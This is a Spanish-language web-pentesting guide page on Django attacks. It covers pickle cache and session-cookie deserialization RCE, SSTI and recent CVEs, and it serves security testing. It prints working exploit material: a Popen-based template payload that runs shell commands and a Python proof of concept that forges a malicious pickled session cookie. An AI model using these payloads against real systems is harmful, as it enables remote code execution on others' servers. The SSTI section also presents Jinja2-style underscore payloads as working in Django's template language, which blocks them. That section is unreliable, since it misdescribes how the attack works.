Django

Reading time: 5 minutes

Manipulación de caché para RCE

El método de almacenamiento de caché predeterminado de Django es Python pickles, lo que puede llevar a RCE si la entrada no confiable se deserializa. Si un atacante puede obtener acceso de escritura a la caché, puede escalar esta vulnerabilidad a RCE en el servidor subyacente.

La caché de Django se almacena en uno de cuatro lugares: Redis, memoria, archivos, o una base de datos. La caché almacenada en un servidor Redis o base de datos son los vectores de ataque más probables (inyección de Redis e inyección SQL), pero un atacante también puede ser capaz de usar caché basada en archivos para convertir una escritura arbitraria en RCE. Los mantenedores han marcado esto como un problema no relevante. Es importante notar que la carpeta de archivos de caché, el nombre de la tabla SQL y los detalles del servidor Redis variarán según la implementación.

Este informe de HackerOne proporciona un gran ejemplo reproducible de explotación de la caché de Django almacenada en una base de datos SQLite: https://hackerone.com/reports/1415436

Inyección de Plantillas del Lado del Servidor (SSTI)

El Lenguaje de Plantillas de Django (DTL) es Turing-completo. Si los datos proporcionados por el usuario se representan como una cadena de plantilla (por ejemplo, al llamar a Template(user_input).render() o cuando |safe/format_html() elimina la auto-escapada), un atacante puede lograr SSTI completo → RCE.

Detección

1. Busque llamadas dinámicas a Template() / Engine.from_string() / render_to_string() que incluyan cualquier dato de solicitud no sanitizado.
2. Envíe una carga útil basada en tiempo o aritmética:

{{7*7}}

Si la salida renderizada contiene 49, la entrada es compilada por el motor de plantillas.

Primitiva a RCE

Django bloquea el acceso directo a __import__, pero el gráfico de objetos de Python es accesible:

{{''.__class__.mro()[1].__subclasses__()}}

Encuentra el índice de subprocess.Popen (≈400–500 dependiendo de la versión de Python) y ejecuta comandos arbitrarios:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Un dispositivo universal más seguro es iterar hasta que cls.__name__ == 'Popen'.

El mismo dispositivo funciona para las características de renderizado de plantillas de Debug Toolbar o Django-CMS que manejan incorrectamente la entrada del usuario.

RCE de Cookie de Sesión Respaldada por Pickle

Si la configuración SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' está habilitada (o un serializador personalizado que deserializa pickle), Django desencripta y deserializa la cookie de sesión antes de llamar a cualquier código de vista. Por lo tanto, poseer una clave de firma válida (la SECRET_KEY del proyecto por defecto) es suficiente para la ejecución remota de código inmediata.

Requisitos de Explotación

• El servidor utiliza PickleSerializer.
• El atacante conoce / puede adivinar settings.SECRET_KEY (filtraciones a través de GitHub, .env, páginas de error, etc.).

Prueba de Concepto

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Envía la cookie resultante, y la carga útil se ejecuta con los permisos del trabajador WSGI.

Mitigaciones: Mantén el JSONSerializer por defecto, rota SECRET_KEY y configura SESSION_COOKIE_HTTPONLY.

Recientes (2023-2025) CVEs de alto impacto en Django que los pentesters deben verificar

• CVE-2025-48432 – Inyección de log a través de request.path no escapado (corregido el 4 de junio de 2025). Permite a los atacantes introducir nuevas líneas/códigos ANSI en archivos de registro y envenenar el análisis de registros posterior. Nivel de parche ≥ 4.2.22 / 5.1.10 / 5.2.2.
• CVE-2024-42005 – Inyección SQL crítica en QuerySet.values()/values_list() en JSONField (CVSS 9.8). Crea claves JSON para salir de las comillas y ejecutar SQL arbitrario. Corregido en 4.2.15 / 5.0.8.

Siempre identifica la versión exacta del marco a través de la página de error X-Frame-Options o el hash de /static/admin/css/base.css y prueba lo anterior donde sea aplicable.

Referencias

• Lanzamiento de seguridad de Django – "Django 5.2.2, 5.1.10, 4.2.22 abordan CVE-2025-48432" – 4 de junio de 2025.
• OP-Innovate: "Django lanza actualizaciones de seguridad para abordar la falla de inyección SQL CVE-2024-42005" – 11 de agosto de 2024.